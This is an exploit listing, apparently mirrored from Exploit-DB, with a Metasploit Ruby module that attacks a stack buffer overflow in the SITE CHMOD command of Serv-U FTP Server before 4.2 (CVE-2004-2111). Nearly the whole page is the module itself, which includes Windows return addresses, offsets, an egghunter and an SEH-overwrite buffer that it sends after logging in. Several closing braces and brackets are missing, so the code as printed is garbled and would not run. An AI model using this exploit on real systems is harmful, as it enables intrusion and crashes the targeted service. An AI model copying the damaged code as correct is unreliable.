RhinoSoft Serv-U FTPd Server < 4.2 - Remote Buffer Overflow (Metasploit)

Exploit Database
156 阅读

作者： Metasploit

日期： 2011-12-02
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18190/

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# $Id$

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Egghunter

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the site chmod command

in versions of Serv-U FTP Server prior to 4.2.

You must have valid credentials to trigger this vulnerability. Exploitation

also leaves the service in a non-functional state.

'Author' => 'thelightcosine <thelightcosine[at]metasploit.com>',

'License'=> MSF_LICENSE,

'Version'=> '$Revision$',

'References' =>

[

[ 'CVE', '2004-2111'],

[ 'BID', '9483'],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'BadChars'=> "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",

'DisableNops' => true,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2000 SP0-4 EN', {

'Ret'=> 0x750212bc, #WS2HELP.DLL

'Offset' => 396 } ],

[ 'Windows XP SP0-1 EN', {

'Ret'=> 0x71aa388f, #WS2HELP.DLL

'Offset' => 394 } ]

'DisclosureDate' => 'Dec 31 2004',

'DefaultTarget'=> 0))

end

def check

connect

disconnect

if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connect_login

eggoptions =

{

:checksum => true,

:eggtag => "W00T"

}

hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)

buffer = "chmod 777 "

buffer <<make_nops(target['Offset'] - egg.length - hunter.length)

buffer << egg

buffer << hunter

buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter

buffer << [target.ret].pack('V') #seh

buffer << rand_text(5000)

print_status("Trying target #{target.name}...")

send_cmd( ['SITE', buffer] , false)

handler

disconnect

end